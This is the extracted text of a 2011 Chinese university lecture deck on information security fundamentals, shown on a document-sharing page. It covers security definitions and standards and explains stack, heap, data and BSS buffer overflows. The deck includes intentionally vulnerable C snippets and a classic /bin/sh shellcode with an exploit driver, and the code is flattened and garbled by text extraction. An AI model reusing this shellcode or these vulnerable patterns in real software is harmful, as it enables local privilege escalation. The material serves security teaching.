信息安全基础(第一次).ppt_第1页
信息安全基础(第一次).ppt_第2页
信息安全基础(第一次).ppt_第3页
信息安全基础(第一次).ppt_第4页
信息安全基础(第一次).ppt_第5页
已阅读5页,还剩70页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

信息安全理论 技术 应用 王勇cla 电子科技大学计算机学院2011年9月 关于上课 选考察课的同学不需要参加考试 课程结束后只需提交一份研究论文 字数4K 6K 选必修的同学需要参加闭卷考试 同时需要提交一份研究论文 4k 6k 学有余力的同学可以选择特别培养计划的课题 做课程设计 所有选课的同学请在二章结束前 提交你的演讲题目 第一章回顾 第一章的主要内容参考资料课程的框架和学习方法信息安全的三要素信息安全面临的问题信息安全研究的内容 课程学习参考书 PrinciplesofComputerSecurity Wm A Conklin McGraw Hill 2005 信息安全理论与技术 杨义先等 邮电出版社 2006 网络信息对抗 萧军模等 机械工业出版社 2005 OtherSecurityPapers 参考资料 2 CharlesP Pfleeger等 信息安全与应用 第三版 电子工业出版社许治坤 王伟等 网络渗透技术 电子工业出版社WILLIAMR CHESWICK 防火墙与因特网安全 机械工业出版社ALLANLISKA 网络安全实践 机械工业出版社W RichardStevens TCP IP协议详解卷1 2 网络安全焦点 课程学习理念 1 跟踪 trace 2 加入 join 3 模拟 imitation 4 开发 develop 5 创新 invent 6 保持 keep on 7 领先 leading 1 信息与安全框架 Archi Frame 行为主体1 用户2 黑客 行为载体1 系统2 设备 行为对象1 数据文件2 图文声像 人 计算机 信息 安全三要素 ISO的定义为进行数据处理而建立和采取的技术和管理保护措施 以保护计算机硬件 软件 数据不因偶然的和恶意的原因而遭受破坏 篡改和泄露 信息安全定义 3 ProblemsinInfoSec 1 没有统一定义什么是安全 理想状态下 客观上不存在威胁主观上不存在恐惧 谁真正能做到 谁真正能感觉到 信息安全面临的问题 统一的标准问题 ISO7498 2 ISO7498 2确定了五大类安全服务 1 鉴别 2 访问控制 3 数据保密性 4 数据完整性 5 不可否认 信息安全面临的问题 无穷域中给出一个限定解问题安全是需要根据具体的应用 具体的需求 具体的客户 具体的实现能力 进行实施的没有完美的安全 但要做到 最安全 安全是手段 管理是根本三分技术 七分管理 信息安全研究的内容 计算机系统安全网络安全信息内容安全安全机制安全标准 6 InfoSecEvolution 计算机系统安全Compsec 网络安全Netsec 信息安全Infosec 密码学Cryptography 防御 监控Defence Monitor 可信计算CredibleComputation 取证 鉴定Evidence Identify 计算机系统安全 稳定可靠性 SteadyandReliability 完整可用性 IntegrityandAvailability 安全保密性 SecurityandConfidentiality 容错可信性 FaulttoleranceandTrusty 监督核查性 MonitorandAccountability 安全可控性 SecurityControllable 网络安全 网络互连设备安全网络协议安全性网管系统 软件 安全远程访问与控制技术安全多机及异种终端互操作安全网络应用架构安全 C S B S Cluster 网络技术与应用安全Web VPN Firewall IDS IPS NetScan移动与无线网络安全 信息内容安全 信息处理技术安全信息搜索与收集技术信息监察与监控技术信息保全与取证技术信息管理安全 体制与机制 信息安全的立法与普及信息安全服务灾难恢复与数据恢复 用户鉴别 7 安全机制的组合 访问控制 安全保密 安全传输 安全审计 安全恢复 安全标准 BS7799 1 1995 信息安全管理实施细则 1995年发布 BS7799 2 信息安全管理体系规范 1998年发布 BS7799 1 1999 信息安全管理实施细则 通过了国际标准化组织ISO的认可 成为国际标准 ISO IEC17799 1 2000 信息技术 信息安全管理实施细则 2000年12月发布 BS7799 3 2005信息安全管理体系 信息安全风险管理指导方针 作为ISO27001正式颁布 2005年10月发布 ProfessionalService Consulting TechnicalSupport OS Windows Linux UNIX EmbedOS Palm AppadminSystemadminNetworkadmin AppSecuritySystemSecurityNetworkSecurity SysMiddlewareSSL IPtable Firewall TAR Squid Proxy Providers sSysMiddlewareTivoli Backup Guard AppMiddlewareApache Sendmail MySQL Providers sAppMiddlewareDB2 SBS Domino WebSphereOracle MQ Weblogic Horizontal VerticalApps ERP CRM OA Webmail E Gov UserInterface B S C S Hardware Server Route Switch Mobile 信息安全理论 技术 应用 第二章信息安全基础 InfoSecFoundation 第一节理论与技术基础 Theory Technology WhatWeShouldKnow 熟悉自己的系统 计算机 嵌入式系统熟悉所用的软件平台 操作系统 开发软件及工具熟悉系统所处的环境 系统连接和接口熟悉系统安全中的热点 KeyPoint Hotarea 1 KeyPoints OrganizationOverview CPU Memory DISK Input Network Output KeyPoint Interface 1 8KeyPoints OSOverview Syscall Command OperatingSystem Hardware Interface API DLL User Programmer SysDesigner App Program Hacker 详见OS安全 可信环境 可信计算 可信存储 ComputerOverview 1 9KeyPoints SafeGuarantee OSOverview 2 关键结构的安全漏洞 关键结构的暴露性 Memory Disk SysCallChange 文件替换 InterruptChangeOverflowBuffer访问方式层出不穷软件工具 汇编asm DM 调试工具 Debug Codeview 正常编程 Syscall API DLL等 Script编程 含Shell等 非正常编程 Primitive 未公布的接口函数 强制转接等 2 1Heap Stack Heap方向 P2 P1 S1 S2 Stack方向 P2 P1 S1 S2 Memory Memory Heap方向 Stack方向 StackOverflowAttack 2 2OSInterruptChange Seg Off的表示INT00 00 4 00 03INT10 40 4 40 43INT20 80 4 80 83INTnn nn 4 Seg Off Memory 003FF 00000 系统参数区 中断矢量区 木马程序 xxxx yyyy xxxx yyyy 00400 缓冲溢出攻击的原理 1 缓冲区溢出攻击模式 AttackedSystem 溢出缓冲区 重定向到攻击程序 任意地执行程序 执行攻击程序 Attacker 注入恶意数据 获得控制权 找到可利用的缓冲区溢出隐患 恶意数据可以通过命令行参数 环境变量 输入文件或者网络数据注入 缓冲溢出攻击的原理 续 2 缓冲区溢出可能发生的位置预备知识点进程在内存中的布局 缓冲溢出攻击的原理 续 代码段 文本段用于放置程序的可执行代码 机器码 数据段用于放置已初始化的全局变量和已初始化的局部静态变量 BSS BlockStartedbySymbol 段用于放置未初始化的全局变量和未初始化的局部静态变量 堆用于动态分配内存 堆栈段用于存放函数的参数 返回地址 调用函数的栈基址以及局部非静态变量 进程的环境变量和参数 缓冲溢出攻击的原理 续 2 缓冲区溢出可能发生的位置 续 堆栈 stack 堆 heap 数据段 data BSS段 缓冲溢出攻击的原理 续 2 缓冲区溢出可能发生的位置 续 堆栈 stack 堆 heap 数据段 data BSS段 被调函数堆栈布局 堆栈采用后进先出 LIFO 的方式管理数据 这种方式是实现函数嵌套调用的关键 Previousstackframes Functionarguments Returnaddress Previousframepointer Localvariables Highaddress Lowaddress 从右到左的顺序 指令寄存器 EIP 基址寄存器 EBP 局部非静态变量 缓冲溢出攻击的原理 续 基于堆栈的缓冲区溢出 voidfunction char str charbuffer 4 strcpy buffer str voidmain intargc char argv charlarge string 8 inti for i 0 i 8 i large buffer i A function large string Example contd Large string 上一个栈帧地址 返回地址 argv 内存低端 内存高端 argc voidmain intargc char argv i 缓冲溢出攻击的原理 续 基于堆栈的缓冲区溢出 voidfunction char str charbuffer 4 strcpy buffer str voidmain intargc char argv charlarge string 8 inti for i 0 i 8 i large buffer i A function large string Example contd Large string 上一个栈帧地址 返回地址 argv 内存低端 内存高端 argc i str 返回地址 main函数的栈帧地址 buffer function函数被调用 调用strcpy之前 voidfunction char str Example contd Large string 上一个栈帧地址 返回地址 argv 内存低端 内存高端 argc i str 返回地址 AAAA AAAA function函数被调用 调用strcpy之后 voidfunction char str 缓冲溢出攻击的原理 续 基于堆栈的缓冲区溢出的潜在危害改写返回地址改写调用函数栈的栈帧地址 缓冲溢出攻击的原理 续 基于堆栈的缓冲区溢出的潜在危害 续 改写函数指针改写虚函数指针改写异常处理指针改写数据指针 voidBadCode char string void p charbuff 100 strcpy buff string p 缓冲溢出攻击的原理 续 2 缓冲区溢出可能发生的位置 续 堆栈 stack 堆 heap 数据段 data BSS段 缓冲溢出攻击的原理 续 基于堆的缓冲区溢出Heapisacontiguousmemoryusedtodynamicallyallocatespacewherethesizewillbeknownonlyduringtheexecutionofthecode 在Linux中 堆空间按照DougLea算法实现动态分配 在C程序中 标准库函数malloc free 用于从堆中动态申请 释放块 对于C 程序 相应函数为new delete 缓冲溢出攻击的原理 续 基于堆的缓冲区溢出 续 voidmain intargc char argv char buf1 char malloc 16 char buf2 char malloc 16 strcpy buf1 AAAAAAAAAAAAAAA strcpy buf2 argv 1 基于堆的缓冲区溢出 正常输入Prompt BB BBB total15 B s 产生溢出的输入Prompt BB BBB total40 B s a heaplayoutwithoutoverflow 基于堆的缓冲区溢出攻击举例 1996年BSDIcrontab被发现存在基于堆的缓冲区溢出隐患 攻击者可以通过输入一个长文件名溢出在堆上的缓冲区 溢出数据改写的区域是保存有用户名 密码 uid gid等信息的区域 缓冲溢出攻击的原理 续 2 缓冲区溢出可能发生的位置 续 堆栈 stack 堆 heap 数据段 data BSS段 缓冲溢出攻击的原理 续 基于数据段的缓冲区溢出 voidOverflow Data char input staticcharbuf 4 CCCC inti for i 0 i 12 i buf i A 缓冲溢出攻击的原理 续 2 缓冲区溢出可能发生的位置 续 堆栈 stack 堆 heap 数据段 data BSS段 缓冲溢出攻击的原理 续 基于BSS段的缓冲区溢出 voidOverflow BSS char input staticcharbuf 4 inti for i 0 i 12 i buf i A 缓冲溢出攻击的原理 续 3 常见的溢出缓冲区的途径利用C的标准函数库常见的有strcpy strcat sprintf gets Mudge HowtoWriteBufferOverflows 缓冲溢出攻击的原理 续 利用数组下标的越界操作Off by one缓冲区溢出利用数组的最大下标与数组长度的差异产生 例如1998年10月BugTraq公布出Linuxlibc中的realpath函数存在single byte缓冲区溢出隐患 攻击者可以利用它获得root权限 参见O Kirch Thepoisonednulbyte posttothebugtraqmailinglist October1998 2000年12月OpenBSD安全组公布ftpd存在类似安全隐患 参见OpenBSDdevelopers single bytebufferoverflowvulnerabilityinftpd December2000 voidBadCode char str charbuffer 512 for i 0 i 512 i buffer i str i 缓冲溢出攻击的原理 续 利用有符号整数与无符号整数的转换 voidBadCode char input shortlen charbuf 64 len strlen input if len MAX BUF strcpy buf input 缓冲溢出攻击的原理 续 4 恶意代码 注入 例如为实现 exec bin sh charshellcode xeb x1f x5e x89 x76 x08 x31 xc0 x88 x46 x07 x89 x46 x0c xb0 x0b x89 xf3 x8d x4e x08 x8d x56 x0c xcd x80 x31 xdb x89 xd8 x40 xcd x80 xe8 xdc xff xff xff bin sh charlarge string 128 voidmain charbuffer 96 inti long long ptr long ptr long large string for i 0 i 32 i long ptr i int buffer for i 0 i strlen shellcode i large string i shellcode i strcpy buffer large string Thesecretoftheshellcode charshellcode main xeb x1f jmp 0 x1forjmpcallz start x5e popl esi x89 x76 x08 movl esi 0 x08 esi x31 xc0 xorl eax eax x88 x46 x07 movb al 0 x07 esi x89 x46 x0c movl eax 0 x0c esi xb0 x0b movb 0 x0b al x89 xf3 movl esi ebx x8d x4e x08 leal0 x08 esi ecx x8d x56 x0c leal0 x0c esi edx xcd x80 int 0 x80 x31 xdb xorl ebx ebx x89 xd8 movl ebx eax x40 inc eax xcd x80 int 0 x80 callz xe8 xdc xff xff xff callstart DATA bin sh 1 3 2 基于堆栈的缓冲区溢出攻击举例 charshellcode xeb x1f x5e x89 x76 x08 x31 xc0 x88 x46 x07 x89 x46 x0c xb0 x0b x89 xf3 x8d x4e x08 x8d x56 x0c xcd x80 x31 xdb x89 xd8 x40 xcd x80 xe8 xdc xff xff xff bin sh charlarge string 128 voidmain charbuffer 96 inti long long ptr long ptr long large string for i 0 i 32 i long ptr i int buffer for i 0 i strlen shellcode i large string i shellcode i strcpy buffer large string for i 0 i strlen shellcode i large string i shellcode i strcpy buffer large string 溢出前后堆栈内容对比 Higheraddresses Loweraddresses 堆栈溢出前 堆栈溢出后 缓冲溢出攻击的原理 续 4 恶意代码 已在内存 利用已在内存中的代码作为攻击代码 但是需要提供调用这些现成代码产生攻击的参数 由于libc中的库函数常被用作现成的攻击代码 所以有时把这种攻击方式称为return to libc 可参见Nergal Theadvancedreturn into lib c exploits Paxcasestudy Phrack Dec 2001 2 4SafeProgramming 编程语言本身存在的问题编译存在的问题 a out 模块间参数传递全局变量与局部变量堆栈使用和未知问题 SafeProgramming 缺少安全编程技术训练代码发布前只经过很少的测试缺乏好的编程技巧程序常超越其最初的设计范围程序员假定当前的系统调用永远不会失败程序参数永远不可能超过某个长度假定编程思路程序代码应当运行在限制的时期和条件下仔细分析假定条件想象可以使其失败的条件 SafeProgramming 编程功能越强的语言也为程序员带来正确安全配置的负担 掌握正确的字符串处理 e g gets buf 不安全fgets buf sizeof buf stdin 安全严防代码移植 3 TheoreticalIssues 二值逻辑解决的问题数字计算机与通用计算机问题可计算与不可计算计算的复杂性抽象模型与建模 3 1二值逻辑与计算问题 组合逻辑 不含循环的二值逻辑电路 无记忆 时序逻辑 含有循环的二值逻辑电路 有记忆 二值逻辑构成的计算装置是否能够计算所有问题可计算问题 电脑在理论上的计算能力 3 2数字机与通用机问题 数字计算机概念冯 诺依曼 VonNeuman 存储程序通用计算机概念图灵 AlanTuring 图灵机组成 处理器 存储器 程序过程 开始 数据与程序进入存储器处理器执行运算操作 结果写入存储器 结束区别 存储无限 运算

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论